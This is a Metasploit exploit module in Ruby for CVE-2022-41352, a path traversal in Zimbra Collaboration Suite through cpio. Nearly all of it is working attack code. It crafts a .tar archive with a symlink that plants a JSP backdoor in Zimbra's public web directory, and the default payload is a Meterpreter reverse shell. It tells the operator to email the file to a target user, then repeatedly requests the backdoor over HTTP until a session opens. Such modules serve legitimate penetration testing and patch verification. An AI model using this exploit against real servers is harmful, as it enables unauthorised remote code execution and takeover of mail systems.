##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TAR Path Traversal in Zimbra (CVE-2022-41352)',
        'Description' => %q{
          This module creates a .tar file that can be emailed to a Zimbra server
          to exploit CVE-2022-41352. If successful, it plants a JSP-based
          backdoor in the public web directory, then executes that backdoor.

          The core vulnerability is a path-traversal issue in the cpio command-
          line utlity that can extract an arbitrary file to an arbitrary
          location on a Linux system (CVE-2015-1197). Most Linux distros have
          chosen not to fix it.

          This issue is exploitable on Red Hat-based systems (and other hosts
          without pax installed) running versions:

          * Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier)
          * Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier)

          The patch simply makes "pax" a pre-requisite.
        },
        'Author' => [
          'Alexander Cherepanov', # PoC (in 2015)
          'yeak', # Initial report
          'Ron Bowes', # Analysis, PoC, and module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-41352'],
          ['URL', 'https://forums.zimbra.org/viewtopic.php?t=71153&p=306532'],
          ['URL', 'https://blog.zimbra.com/2022/09/security-update-make-sure-to-install-pax-spax/'],
          ['URL', 'https://www.openwall.com/lists/oss-security/2015/01/18/7'],
          ['URL', 'https://lists.gnu.org/archive/html/bug-cpio/2015-01/msg00000.html'],
          ['URL', 'https://attackerkb.com/topics/1DDTvUNFzH/cve-2022-41352/rapid7-analysis'],
          ['URL', 'https://attackerkb.com/topics/FdLYrGfAeg/cve-2015-1197/rapid7-analysis'],
          ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P27'],
          ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P34'],
        ],
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [
          [ 'Zimbra Collaboration Suite', {} ]
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
          'TARGET_PATH' => '/opt/zimbra/jetty_base/webapps/zimbra/',
          'TARGET_FILENAME' => nil,
          'DisablePayloadHandler' => false,
          'RPORT' => 443,
          'SSL' => true
        },
        'Stance' => Msf::Exploit::Stance::Passive,
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2022-06-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'payload.tar']),

        # Separating the path, filename, and extension allows us to randomize the filename
        OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (an absolute path - eg, /opt/zimbra/...).']),
        OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: public/<random>.jsp).']),
      ]
    )

    register_advanced_options(
      [
        OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (default: random)']),
        OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),

        # Took this from multi/handler
        OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),
        OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])
      ]
    )
  end

  def exploit
    print_status('Encoding the payload as .jsp')
    payload = Msf::Util::EXE.to_jsp(generate_payload_exe)

    # Small sanity-check
    if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
      print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
    end

    # Generate a filename if needed
    target_filename = datastore['TARGET_FILENAME'] || "public/#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp"
    symlink_filename = datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..10)

    # Sanity check - the file shouldn't exist, but we should be able to do requests to the server
    if datastore['TRIGGER_PAYLOAD']
      print_status('Checking the HTTP connection to the target')
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_filename)
      )

      unless res
        fail_with(Failure::Unknown, 'Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)')
      end

      # Break when the file successfully appears
      unless res.code == 404
        fail_with(Failure::Unknown, "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/#{res.code}")
      end
    end

    # Create the file
    begin
      contents = StringIO.new
      Rex::Tar::Writer.new(contents) do |t|
        print_status("Adding symlink to path to .tar file: #{datastore['TARGET_PATH']}")
        t.add_symlink(symlink_filename, datastore['TARGET_PATH'], 0o755)

        print_status("Adding target file to the archive: #{target_filename}")

        t.add_file(File.join(symlink_filename, target_filename), 0o644) do |f|
          f.write(payload)
        end
      end
      contents.seek(0)
      tar = contents.read
      contents.close
    rescue StandardError => e
      fail_with(Failure::BadConfig, "Failed to encode .tar file: #{e}")
    end
    file_create(tar)

    print_good('File created! Email the file above to any user on the target Zimbra server')

    # Bail if they don't want the payload triggered
    return unless datastore['TRIGGER_PAYLOAD']

    register_file_for_cleanup(File.join(datastore['TARGET_PATH'], target_filename))

    interval = datastore['CheckInterval'].to_i
    print_status("Trying to trigger the backdoor @ #{target_filename} every #{interval}s [backgrounding]...")

    # This loop is mostly from `multi/handler`
    stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
    timeout = datastore['ListenerTimeout'].to_i

    # We flip this once we trigger the payload
    keep_sending = true
    loop do
      break if session_created?
      break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)

      # Once we've triggered the payload, stop trying to
      if keep_sending
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_filename)
        )

        unless res
          fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
        end

        # Break when the file successfully appears
        if res.code == 200
          print_good('Successfully triggered the payload')
          keep_sending = false
          next
        end
      end

      Rex::ThreadSafe.sleep(interval)
    end
  end
end
